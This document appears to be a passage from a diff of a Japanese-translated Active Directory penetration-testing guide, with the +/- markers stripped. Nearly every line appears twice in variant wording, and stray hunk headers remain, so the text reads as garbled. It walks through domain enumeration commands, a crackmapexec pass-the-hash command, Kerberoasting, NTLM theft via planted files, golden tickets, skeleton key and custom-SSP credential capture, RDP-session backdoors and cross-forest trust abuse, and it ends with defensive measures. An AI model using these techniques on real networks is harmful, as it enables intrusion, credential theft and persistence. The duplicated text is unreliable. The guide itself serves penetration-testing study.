- **他の自動化されたAD列挙ツールは** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**ADのDNSレコード**](ad-dns-records.md)は、興味深い情報を含んでいるかもしれません。
- ディレクトリを列挙するために使用できる**GUIツール**は、**SysInternal**スイートの**AdExplorer.exe**です。
- ディレクトリを列挙するために使用できる**GUIツール**は、**SysInternal** Suiteの**AdExplorer.exe**です。
- **ldapsearch**を使用してLDAPデータベースを検索し、_userPassword_および_unixUserPassword_フィールドや、_Description_を探すことができます。cf. [PayloadsAllTheThingsのADユーザーコメントのパスワード](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)で他の方法を確認してください。
- **Linux**を使用している場合、[**pywerview**](https://github.com/the-useless-one/pywerview)を使用してドメインを列挙することもできます。
- 自動化ツールを試すこともできます:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **すべてのドメインユーザーの抽出**
- **すべてのドメインユーザーを抽出する**
Windowsからすべてのドメインユーザー名を取得するのは非常に簡単です`net user /domain``Get-DomainUser`または`wmic useraccount get name,sid`。Linuxでは、次のように使用できます`GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username`または`enum4linux -a -u "user" -p "password" <DC IP>`
> この列挙セクションは小さく見えるかもしれませんが、これはすべての中で最も重要な部分です。リンクにアクセスし(主にcmd、powershell、powerview、BloodHoundのリンク、ドメインを列挙する方法を学び、快適に感じるまで練習してください。評価中、これはDAへの道を見つけるか、何もできないと決定するための重要な瞬間になります。
> この列挙セクションは小さく見えるかもしれませんが、これはすべての中で最も重要な部分です。リンク(特にcmd、powershell、powerview、BloodHoundのリンクにアクセスし、ドメインを列挙する方法を学び、快適に感じるまで練習してください。評価中、これはDAへの道を見つけるための重要な瞬間になるか、何もできないと判断する瞬間になります。
### Kerberoast
Kerberoastingは、ユーザーアカウントに関連付けられたサービスによって使用される**TGSチケット**を取得し、その暗号化をクラックすることを含みます—これはユーザーパスワードに基づいており、**オフライン**で行われます。
これについての詳細は:
詳細については:
{{#ref}}
kerberoast.md
@ -185,17 +185,17 @@ kerberoast.md
### リモート接続RDP、SSH、FTP、Win-RMなど
いくつかの認証情報を取得したら、**マシン**へのアクセスがあるかどうかを確認できます。そのために、**CrackMapExec**を使用して、ポートスキャンに応じて異なるプロトコルで複数のサーバーに接続を試みることができます。
資格情報を取得したら、**マシン**へのアクセスがあるかどうかを確認できます。そのために、**CrackMapExec**を使用して、ポートスキャンに応じて異なるプロトコルで複数のサーバーに接続を試みることができます。
### ローカル特権昇格
通常のドメインユーザーとしての認証情報またはセッションを侵害し、**ドメイン内の任意のマシンにこのユーザーでアクセス**できる場合、**ローカルで特権を昇格させ、認証情報を探す**方法を見つけるべきです。これは、ローカル管理者権限を持っている場合にのみ、他のユーザーのハッシュをメモリLSASSおよびローカルSAMで**ダンプ**できるためです。
通常のドメインユーザーとしての資格情報またはセッションを侵害し、**ドメイン内の任意のマシンにこのユーザーでアクセス**できる場合、**ローカルで特権を昇格させ、資格情報を探す**方法を見つけるべきです。これは、ローカル管理者権限がないと、他のユーザーのハッシュをメモリLSASSやローカルSAMで**ダンプ**できないためです。
この本には、[**Windowsにおけるローカル特権昇格**](../windows-local-privilege-escalation/index.html)に関する完全なページと[**チェックリスト**](../checklist-windows-privilege-escalation.md)があります。また、[**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)を使用することを忘れないでください。
### 現在のセッションチケット
予期しないリソースにアクセスするための**チケット**が現在のユーザーに**許可を与える**可能性は非常に**低い**ですが、確認することができます:
予期しないリソースにアクセスするための**チケット**が現在のユーザーに**許可されている**可能性は非常に**低い**ですが、確認することができます:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -209,13 +209,13 @@ kerberoast.md
### **コンピュータ共有内のクレデンシャルを探す**
基本的なクレデンシャルを持っているので、**AD内で共有されている興味深いファイルを見つけることができるか確認するべきです**。手動で行うこともできますが、それは非常に退屈で繰り返しの作業です(特にチェックする必要のある数百のドキュメントを見つけた場合はなおさらです)。
基本的なクレデンシャルを持っているので、**AD内で共有されている**興味深いファイルを**見つける**ことができるか確認するべきです。手動で行うこともできますが、それは非常に退屈で繰り返しの作業です(特にチェックする必要のある数百のドキュメントを見つけた場合はなおさらです)。
[**使用できるツールについて学ぶにはこのリンクをフォローしてください。**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### NTLMクレデンシャルを盗む
他のPCや共有に**アクセスできる場合**、**ファイルを配置することができます**SCFファイルのような)それにアクセスされると**あなたに対してNTML認証をトリガーする**ので、**NTLMチャレンジを盗む**ことができます:
他のPCや共有に**アクセスできる**場合、**ファイル**SCFファイルなを**配置する**ことができ、それにアクセスされると**あなたに対してNTML認証をトリガーする**ことになります。そうすることで、**NTLMチャレンジを盗んでそれを解読する**ことができます:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -229,25 +229,25 @@ kerberoast.md
printnightmare.md
{{#endref}}
## 特権のあるクレデンシャル/セッションを使用したアクティブディレクトリの特権昇格
## 特権クレデンシャル/セッションを使用したアクティブディレクトリの特権昇格
**以下の技術には、通常のドメインユーザーでは不十分で、これらの攻撃を実行するために特別な特権/クレデンシャルが必要です。**
**以下の技術には、通常のドメインユーザーでは不十分で、これらの攻撃を実行するために特別な特権/クレデンシャルが必要です。**
### ハッシュ抽出
幸運にも、[AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を含むリレー、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[ローカルでの特権昇格](../windows-local-privilege-escalation/index.html)を使用して**ローカル管理者**アカウントを**侵害することに成功した**ことを願っています。\
幸運にも、[AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を含むリレー、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[ローカルでの特権昇格](../windows-local-privilege-escalation/index.html)を使用して**ローカル管理者**アカウントを**侵害する**ことに成功したことを願っています。\
次に、メモリとローカルのすべてのハッシュをダンプする時です。\
[**ハッシュを取得するためのさまざまな方法についてこのページをお読みください。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
[**ハッシュを取得するためのさまざまな方法についてこのページを読んでください。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### パス・ザ・ハッシュ
**ユーザーのハッシュを持っている場合**、それを使用して**なりすます**ことができます。\
その**ハッシュ**を使用して**NTLM認証を実行する**ための**ツール**を使用する必要があります。**または**、新しい**sessionlogon**を作成し、その**ハッシュ**を**LSASS**内に**注入**することができます。そうすれば、任意の**NTLM認証が実行されると、その**ハッシュが使用されます。**最後のオプションはmimikatzが行うことです。\
[**詳細についてはこのページをお読みください。**](../ntlm/index.html#pass-the-hash)
**ユーザーのハッシュを取得したら、**それを使用して**そのユーザーを偽装**することができます。\
その**ハッシュ**を使用して**NTLM認証を実行する**ツールを使用する必要があります。**または**、新しい**sessionlogon**を作成し、その**ハッシュ**を**LSASS**内に**注入**することができます。そうすれば、任意の**NTLM認証が実行されると、その**ハッシュが使用されます。**最後のオプションはmimikatzが行うことです。\
[**詳細についてはこのページを読んでください。**](../ntlm/index.html#pass-the-hash)
### オーバーパス・ザ・ハッシュ/パス・ザ・キー
この攻撃は、**ユーザーのNTLMハッシュを使用してKerberosチケットを要求する**ことを目的としています。これは、一般的なNTLMプロトコルを介したパス・ザ・ハッシュの代替手段です。したがって、これは特に**NTLMプロトコルが無効にされているネットワーク**で、**Kerberosのみが認証プロトコルとして許可されている**場合に**役立ちます**
この攻撃は、**ユーザーのNTLMハッシュを使用してKerberosチケットを要求する**ことを目的としています。これは、一般的なNTLMプロトコルを介したパス・ザ・ハッシュの代替手段です。したがって、これは特に**NTLMプロトコルが無効**で、**Kerberosのみが認証プロトコルとして許可されているネットワーク**で**役立つ**可能性があります
{{#ref}}
over-pass-the-hash-pass-the-key.md
@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md
### パス・ザ・チケット
**パス・ザ・チケットPTT**攻撃手法では、攻撃者は**ユーザーの認証チケットを盗む**代わりに、パスワードやハッシュ値を盗みます。この盗まれたチケットは、その後**ユーザーになりすます**ために使用され、ネットワーク内のリソースやサービスへの不正アクセスを得ることができます。
**パス・ザ・チケットPTT**攻撃手法では、攻撃者は**ユーザーの認証チケットを盗む**ことで、パスワードやハッシュ値を盗むのではありません。この盗まれたチケットは、その後**ユーザーを偽装**するために使用され、ネットワーク内のリソースやサービスへの不正アクセスを得ることができます。
{{#ref}}
pass-the-ticket.md
@ -274,8 +274,8 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
### MSSQLの悪用と信頼されたリンク
ユーザーが**MSSQLインスタンスにアクセスする権限**を持っている場合、MSSQLホストで**コマンドを実行**したりSAとして実行されている場合、NetNTLMの**ハッシュ**を**盗む**ことができるか、さらには**リレー****攻撃**を行うことができるかもしれません。\
また、MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合データベースリンク。ユーザーが信頼されたデータベースに対する権限を持っている場合、**信頼関係を利用して他のインスタンスでもクエリを実行することができます**。これらの信頼は連鎖することができ、ユーザーはコマンドを実行できる誤設定されたデータベースを見つけることができるかもしれません。\
ユーザーが**MSSQLインスタンスにアクセスする権限**を持っている場合、MSSQLホストで**コマンドを実行**したりSAとして実行されている場合、NetNTLMの**ハッシュ**を**盗む**ことができるか、さらには**リレー****攻撃**を行うことができます。\
また、MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合データベースリンク。ユーザーが信頼されたデータベースに対して権限を持っている場合、**信頼関係を利用して他のインスタンスでもクエリを実行することができます**。これらの信頼は連鎖することができ、ユーザーはコマンドを実行できる誤って構成されたデータベースを見つけることができるかもしれません。\
**データベース間のリンクは、フォレストの信頼を越えても機能します。**
{{#ref}}
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
### 第三者セッションの悪用
**他のユーザー**が**侵害された**マシンに**アクセス**すると、メモリから**資格情報を収集**し、さらには**彼らのプロセスにビーコンを注入**して彼らを偽装することが可能です。\
**他のユーザー**が**侵害された**マシンに**アクセス**すると、メモリから**資格情報を収集**し、彼らのプロセスに**ビーコンを注入**して彼らを偽装することが可能です。\
通常、ユーザーはRDPを介してシステムにアクセスするため、ここでは第三者のRDPセッションに対していくつかの攻撃を実行する方法を示します
{{#ref}}
@ -411,7 +411,7 @@ golden-ticket.md
### ダイヤモンドチケット
これらは、**一般的なゴールデンチケット検出メカニズムを回避する**方法で偽造されたゴールデンチケットのようなものです。
これらは、**一般的なゴールデンチケット検出メカニズムを回避する方法で偽造されたゴールデンチケットのようなものです。**
{{#ref}}
diamond-ticket.md
@ -419,7 +419,7 @@ diamond-ticket.md
### **証明書アカウントの永続性**
**アカウントの証明書を持っているか、要求できること**は、ユーザーアカウントに永続するための非常に良い方法です(たとえ彼がパスワードを変更しても):
**アカウントの証明書を持っているか、要求できること**は、ユーザーアカウントに永続する非常に良い方法です(たとえ彼がパスワードを変更しても):
{{#ref}}
ad-certificates/account-persistence.md
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
### AdminSDHolderグループ
Active Directoryの**AdminSDHolder**オブジェクトは、**特権グループ**(ドメイン管理者やエンタープライズ管理者など)のセキュリティを確保するために、これらのグループ全体に標準の**アクセス制御リストACL**を適用して、無許可の変更を防ぎます。しかし、この機能は悪用される可能性があります。攻撃者がAdminSDHolderのACLを変更して通常のユーザーに完全なアクセスを与えると、そのユーザーはすべての特権グループに対して広範な制御を得ることになります。このセキュリティ対策は保護を目的としていますが、厳重に監視されない限り、逆効果をもたらす可能性があります。
Active Directoryの**AdminSDHolder**オブジェクトは、**特権グループ**(ドメイン管理者やエンタープライズ管理者など)のセキュリティを確保するために、これらのグループ全体に標準の**アクセス制御リストACL**を適用して、無許可の変更を防ぎます。しかし、この機能は悪用される可能性があります。攻撃者がAdminSDHolderのACLを変更して通常のユーザーに完全なアクセスを与えると、そのユーザーはすべての特権グループに対して広範な制御を得ることになります。このセキュリティ対策は保護を目的としていますが、厳重に監視されない限り、逆効果をもたらす可能性があります。
[**AdminDSHolderグループに関する詳細情報はここにあります。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
@ -449,7 +449,7 @@ dsrm-credentials.md
### ACLの永続性
特定のドメインオブジェクトに対して**ユーザー****特別な権限**を与えることで、そのユーザーが将来的に**権限を昇格**させることができるようになります。
特定のドメインオブジェクトに対して**ユーザーに特別な権限**を**与える**ことで、そのユーザーが将来的に**権限を昇格**させることができます。
{{#ref}}
acl-persistence-abuse/
@ -457,7 +457,7 @@ acl-persistence-abuse/
### セキュリティ記述子
**セキュリティ記述子**は、**オブジェクト**が**オブジェクト**に対して持つ**権限**を**保存**するために使用されます。オブジェクトの**セキュリティ記述子**に**少し変更**を加えることができれば、そのオブジェクトに対して特権グループのメンバーである必要なく、非常に興味深い権限を取得できます。
**セキュリティ記述子**は、**オブジェクト**が**オブジェクト**に対して持つ**権限**を**保存**するために使用されます。オブジェクトの**セキュリティ記述子**に**少し変更**を加えることができれば、そのオブジェクトに対して特権グループのメンバーである必要なく、非常に興味深い権限を取得できます。
{{#ref}}
security-descriptors.md
@ -473,8 +473,8 @@ skeleton-key.md
### カスタムSSP
[SSPセキュリティサポートプロバイダーについてはここで学べます。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
自分の**SSP**を作成して、マシンにアクセスするために使用される**資格情報**を**平文**で**キャプチャ**することができます。
[SSPセキュリティサポートプロバイダーについて学ぶ](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
自分の**SSP**を作成して、マシンにアクセスするために使用される**資格情報**を**平文**で**キャプチャ**できます。
{{#ref}}
custom-ssp.md
@ -491,7 +491,7 @@ dcshadow.md
### LAPSの永続性
以前に、**LAPSパスワードを読むための十分な権限がある場合**に権限を昇格させる方法について説明しました。しかし、これらのパスワードは**永続性を維持するためにも使用できます**。\
以前に、**LAPSパスワードを読み取るための十分な権限がある場合に権限を昇格させる方法**について説明しました。しかし、これらのパスワードは**永続性を維持するためにも使用できます**。\
確認してください:
{{#ref}}
@ -515,33 +515,33 @@ Microsoftは**フォレスト**をセキュリティ境界と見なしていま
3. クライアントは次に、**ドメイン2**のリソースにアクセスするために必要な**インターレルムTGT**をDC1に要求します。
4. インターレルムTGTは、DC1とDC2の間で共有された**信頼キー**で暗号化されています。
5. クライアントはインターレルムTGTを**ドメイン2のドメインコントローラーDC2**に持っていきます。
6. DC2は、共有された信頼キーを使用してインターレルムTGTを検証し、有効であれば、クライアントがアクセスしたいドメイン2のサーバーのために**チケットグラントサービスTGS**を発行します。
6. DC2は、共有信頼キーを使用してインターレルムTGTを検証し、有効であれば、クライアントがアクセスしたいドメイン2のサーバーのために**チケットグラントサービスTGS**を発行します。
7. 最後に、クライアントはこのTGSをサーバーに提示し、サーバーのアカウントハッシュで暗号化されているため、ドメイン2のサービスにアクセスします。
### 異なる信頼
**信頼は1方向または2方向**であることに注意することが重要です。2方向のオプションでは、両方のドメインが互いに信頼しますが、**1方向**の信頼関係では、1つのドメインが**信頼された**ドメインであり、もう1つが**信頼する**ドメインです。この場合、**信頼されたドメインから信頼するドメイン内のリソースにのみアクセスできます**。
ドメインAがドメインBを信頼している場合、Aは信頼するドメインであり、Bは信頼されたドメインです。さらに、**ドメインA**では、これは**アウトバウンド信頼**となり、**ドメインB**では、これは**インバウンド信頼**となります。
ドメインAがドメインBを信頼している場合、Aは信頼するドメインであり、Bは信頼されたドメインです。さらに、**ドメインA**では、これは**アウトバウンド信頼**であり、**ドメインB**では、これは**インバウンド信頼**です。
**異なる信頼関係**
- **親子信頼**:これは同じフォレスト内で一般的な設定であり、子ドメインは自動的に親ドメインとの双方向の推移的信頼を持ちます。基本的に、これは認証要求が親と子の間でシームレスに流れることを意味します。
- **クロスリンク信頼**:これは「ショートカット信頼」と呼ばれ、子ドメイン間で立され、参照プロセスを迅速化します。複雑なフォレストでは、認証参照は通常、フォレストルートまで上昇し、ターゲットドメインまで下降する必要があります。クロスリンクを作成することで、旅が短縮され、特に地理的に分散した環境で有益です。
- **外部信頼**:これは異なる無関係なドメイン間で設定され、非推移的です。 [Microsoftの文書](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)によると、外部信頼は、現在のフォレスト外のドメインのリソースにアクセスするために便利であり、フォレスト信頼で接続されていないドメインに対して有効です。セキュリティは、外部信頼に対するSIDフィルタリングによって強化されます。
- **ツリー根信頼**:これらの信頼は、フォレストルートドメインと新しく追加されたツリー根の間で自動的に確立されます。一般的には遭遇しませんが、ツリー根信頼は新しいドメインツリーをフォレストに追加するために重要であり、ユニークなドメイン名を維持し、双方向の推移性を確保します。詳細情報は[Microsoftのガイド](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)で確認できます。
- **クロスリンク信頼**:これは「ショートカット信頼」と呼ばれ、子ドメイン間で立され、参照プロセスを迅速化します。複雑なフォレストでは、認証参照は通常、フォレストルートまで上昇し、ターゲットドメインまで下降する必要があります。クロスリンクを作成することで、旅が短縮され、特に地理的に分散した環境で有益です。
- **外部信頼**これは異なる無関係なドメイン間で設定され、非推移的です。Microsoftの文書によると、外部信頼は、現在のフォレスト外のドメインのリソースにアクセスするために便利であり、フォレスト信頼によって接続されていないドメインに対して有用です。外部信頼ではSIDフィルタリングを通じてセキュリティが強化されます。
- **ツリー根信頼**これらの信頼は、フォレストルートドメインと新しく追加されたツリー根の間で自動的に確立されます。一般的には遭遇しませんが、ツリー根信頼は新しいドメインツリーをフォレストに追加するために重要であり、ユニークなドメイン名を維持し、双方向の推移性を確保します。詳細情報はMicrosoftのガイドで確認できます。
- **フォレスト信頼**このタイプの信頼は、2つのフォレストルートドメイン間の双方向推移的信頼であり、セキュリティ対策を強化するためにSIDフィルタリングを強制します。
- **MIT信頼**これらの信頼は、非Windowsの[RF4120準拠](https://tools.ietf.org/html/rfc4120)のKerberosドメインとの間で確立されます。MIT信頼は、Windowsエコシステム外のKerberosベースのシステムとの統合を必要とする環境に特化しています。
- **MIT信頼**これらの信頼は、非Windowsの[RFC4120準拠](https://tools.ietf.org/html/rfc4120)のKerberosドメインとの間で確立されます。MIT信頼は、Windowsエコシステム外のKerberosベースのシステムとの統合を必要とする環境に特化しています。
#### **信頼関係の他の違い**
- 信頼関係は**推移的**AがBを信頼し、BがCを信頼する場合、AはCを信頼するまたは**非推移的**であることができます。
- 信頼関係は**推移的**AがBを信頼し、BがCを信頼する場合、AはCを信頼するまたは**非推移的**に設定できます。
- 信頼関係は**双方向信頼**(両方が互いに信頼する)または**一方向信頼**(一方だけが他方を信頼する)として設定できます。
### 攻撃パス
1. **信頼関係を列挙**します。
2. どの**セキュリティプリンシパル**(ユーザー/グループ/コンピュータ)が**他のドメインのリソースにアクセス**できるかを確認します。ACEエントリや他のドメインのグループにいることによって、**ドメイン間の関係**を探します(信頼がこのために作成された可能性があります)。
1. **信頼関係を列挙**する
2. どの**セキュリティプリンシパル**(ユーザー/グループ/コンピュータ)が**他のドメインのリソースにアクセス**できるかを確認します。ACEエントリや他のドメインのグループにいるかもしれません。**ドメイン間の関係**を探します(このために信頼が作成された可能性があります)。
1. この場合、kerberoastが別のオプションになる可能性があります。
3. **アカウントを侵害**し、ドメインを通じて**ピボット**します。
@ -549,7 +549,7 @@ Microsoftは**フォレスト**をセキュリティ境界と見なしていま
- **ローカルグループメンバーシップ**プリンシパルは、サーバーの「Administrators」グループなどのマシンのローカルグループに追加されることがあり、そのマシンに対して重要な制御を与えます。
- **外国ドメイングループメンバーシップ**:プリンシパルは、外国ドメイン内のグループのメンバーでもあります。ただし、この方法の効果は、信頼の性質とグループの範囲に依存します。
- **アクセス制御リストACL**:プリンシパルは、特定のリソースへのアクセスを提供する**ACL**内の**ACE**のエンティティとして指定されることがあります。ACL、DACL、およびACEのメカニズムに深く入りたい方には、ホワイトペーパー「[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)」が貴重なリソースです。
- **アクセス制御リストACL**:プリンシパルは、特定のリソースへのアクセスを提供する**ACL**内の**ACE**のエンティティとして指定されることがあります。ACL、DACL、およびACEのメカニズムを深く掘り下げたい方には、ホワイトペーパー「[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)」が貴重なリソースです。
### 子から親へのフォレスト権限昇格
```
@ -588,23 +588,23 @@ Configuration Naming Context (NC) がどのように悪用されるかを理解
Configuration NCのSitesコンテナには、ADフォレスト内のすべてのドメイン参加コンピュータのサイトに関する情報が含まれています。任意のDCでSYSTEM権限を持って操作することで、攻撃者はGPOをルートDCサイトにリンクできます。このアクションは、これらのサイトに適用されるポリシーを操作することによって、ルートドメインを危険にさらす可能性があります。
詳細情報については、[SIDフィルタリングのバイパス](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)に関する研究を参照してください
詳細情報については、[SIDフィルタリングのバイパス](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)に関する研究を探ることができます
**フォレスト内の任意のgMSAを危険にさらす**
**フォレスト内の任意のgMSAを妥協**
攻撃ベクトルは、ドメイン内の特権gMSAをターゲットにすることです。gMSAのパスワードを計算するために必要なKDS Rootキーは、Configuration NC内に保存されています。任意のDCでSYSTEM権限を持つことで、KDS Rootキーにアクセスし、フォレスト内の任意のgMSAのパスワードを計算することが可能です。
詳細な分析は、[Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)の議論で確認できます。
詳細な分析は、[Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)の議論で見つけることができます。
**スキーマ変更攻撃**
この方法は、新しい特権ADオブジェクトの作成を待つ忍耐が必要です。SYSTEM権限を持つ攻撃者は、ADスキーマを変更して、任意のユーザーにすべてのクラスに対する完全な制御を付与できます。これにより、新しく作成されたADオブジェクトへの不正アクセスと制御が可能になる可能性があります。
この方法は、新しい特権ADオブジェクトの作成を待つ必要があります。SYSTEM権限を持つ攻撃者は、ADスキーマを変更して、任意のユーザーにすべてのクラスに対する完全な制御を付与できます。これにより、新しく作成されたADオブジェクトへの不正アクセスと制御が可能になる可能性があります。
さらなる情報は、[スキーマ変更信頼攻撃](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)で入手できます。
さらなる読み物は、[スキーマ変更信頼攻撃](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)で利用可能です。
**ADCS ESC5を使用したDAからEAへの昇格**
ADCS ESC5の脆弱性は、フォレスト内の任意のユーザーとして認証を可能にする証明書テンプレートを作成するために、公開鍵インフラストラクチャ (PKI) オブジェクトの制御をターゲットにしています。PKIオブジェクトはConfiguration NCに存在するため、書き込み可能な子DCを危険にさらすことでESC5攻撃を実行できます。
ADCS ESC5の脆弱性は、フォレスト内の任意のユーザーとして認証を可能にする証明書テンプレートを作成するために、公開鍵インフラストラクチャ (PKI) オブジェクトの制御をターゲットにしています。PKIオブジェクトはConfiguration NCに存在するため、書き込み可能な子DCを妥協することでESC5攻撃を実行できます。
この件に関する詳細は、[DAからEAへのESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)で読むことができます。ADCSがないシナリオでは、攻撃者は必要なコンポーネントを設定する能力を持ち、[子ドメイン管理者からエンタープライズ管理者への昇格](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)で議論されています。
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
このシナリオでは、**あなたのドメインが外部のドメインによって信頼されています**。これにより、**不明な権限**が与えられます。あなたは、**あなたのドメインのどのプリンシパルが外部ドメインに対してどのようなアクセス権を持っているかを見つけ**、それを悪用しようとする必要があります。
このシナリオでは、**あなたのドメインが外部のドメインに信頼されています**。これにより、**不明な権限**が与えられます。あなたは、**あなたのドメインのどのプリンシパルが外部ドメインに対してどのようなアクセス権を持っているか**を見つけ出し、それを悪用しようとする必要があります。
{{#ref}}
external-forest-domain-oneway-inbound.md
@ -645,10 +645,10 @@ WhenChanged : 2/19/2021 10:15:24 PM
external-forest-domain-one-way-outbound.md
{{#endref}}
信頼されたドメインを侵害する別の方法は、ドメイン信頼の**反対方向**に作成された[**SQL信頼リンク**](abusing-ad-mssql.md#mssql-trusted-links)を見つけることです(これはあまり一般的ではありません)。
信頼されたドメインを侵害する別の方法は、ドメイン信頼の**方向**に作成された[**SQL信頼リンク**](abusing-ad-mssql.md#mssql-trusted-links)を見つけることです(これはあまり一般的ではありません)。
信頼されたドメインを侵害する別の方法は、**信頼されたドメインのユーザーがアクセスできる**マシンで待機し、**RDP**経由でログインすることです。その後、攻撃者はRDPセッションプロセスにコードを注入し、そこから**被害者の元のドメインにアクセス**することができます。\
さらに、**被害者がハードドライブをマウントした場合**、RDPセッションプロセスから攻撃者は**ハードドライブのスタートアップフォルダー**に**バックドア**を保存することができます。この技術は**RDPInception**と呼ばれます。
さらに、**被害者がハードドライブをマウントした場合**、RDPセッションプロセスから攻撃者は**ハードドライブのスタートアップフォルダー**に**バックドア**を保存することができます。この技術は**RDPInception**と呼ばれています。
{{#ref}}
rdp-sessions-abuse.md
@ -658,8 +658,8 @@ rdp-sessions-abuse.md
### **SIDフィルタリング**
- フォレスト信頼を越えてSID履歴属性を利用する攻撃のリスクは、SIDフィルタリングによって軽減されます。これはすべてのインターフォレスト信頼でデフォルトで有効になっています。これは、マイクロソフトの見解に従い、フォレストをセキュリティ境界と見なすことから、イントラフォレスト信頼が安全であるという前提に基づいています。
- しかし、注意点がありますSIDフィルタリングはアプリケーションやユーザーアクセスを妨げる可能性があり、そのため時折無効にされることがあります。
- フォレスト信頼を越えたSID履歴属性を利用した攻撃のリスクは、SIDフィルタリングによって軽減されます。これはすべてのインターフォレスト信頼でデフォルトで有効になっています。これは、マイクロソフトの見解に従い、フォレストをセキュリティ境界と見なすことから、イントラフォレスト信頼が安全であるという前提に基づいています。
- しかし、注意点がありますSIDフィルタリングはアプリケーションやユーザーアクセスに影響を与える可能性があり、そのため時折無効にされることがあります。
### **選択的認証:**
@ -671,7 +671,7 @@ rdp-sessions-abuse.md
## AD -> Azure & Azure -> AD
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
{{#endref}}
## 一般的な防御策
@ -680,26 +680,26 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
### **資格情報保護のための防御策**
- **ドメイン管理者の制限**:ドメイン管理者はドメインコントローラーにのみログインを許可し、他のホストでの使用を避けることが推奨されます。
- **ドメイン管理者の制限**:ドメイン管理者はドメインコントローラーにのみログインできるようにし、他のホストでの使用を避けることが推奨されます。
- **サービスアカウントの特権**サービスはセキュリティを維持するためにドメイン管理者DA特権で実行されるべきではありません。
- **一時的特権制限**DA特権を必要とするタスクについては、その期間を制限するべきです。これは次のように実現できます:`Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **一時的特権制限**DA特権を必要とするタスクについては、その期間を制限する必要があります。これは次のように実現できます:`Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **欺瞞技術の実装**
- 欺瞞を実装することは、パスワードが期限切れにならないか、委任のために信頼されているとマークされたデコイユーザーやコンピュータを設定することを含みます。詳細なアプローチには、特定の権利を持つユーザーを作成するか、高特権グループに追加することが含まれます。
- 欺瞞を実装することは、パスワードが期限切れにならないか、委任のために信頼されているとマークされたデコイユーザーやコンピュータを設定することを含みます。詳細なアプローチには、特定の権利を持つユーザーを作成したり、高特権グループに追加したりすることが含まれます。
- 実用的な例として、次のようなツールを使用することが含まれます:`Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- 欺瞞技術の展開に関する詳細は、[GitHubのDeploy-Deception](https://github.com/samratashok/Deploy-Deception)で見つけることができます。
- 欺瞞技術の展開に関する詳細は、[Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)で見つけることができます。
### **欺瞞の特定**
- **ユーザーオブジェクトの場合**疑わしい指標には、異常なObjectSID、なログオン、作成日、低い不正パスワードカウントが含まれます。
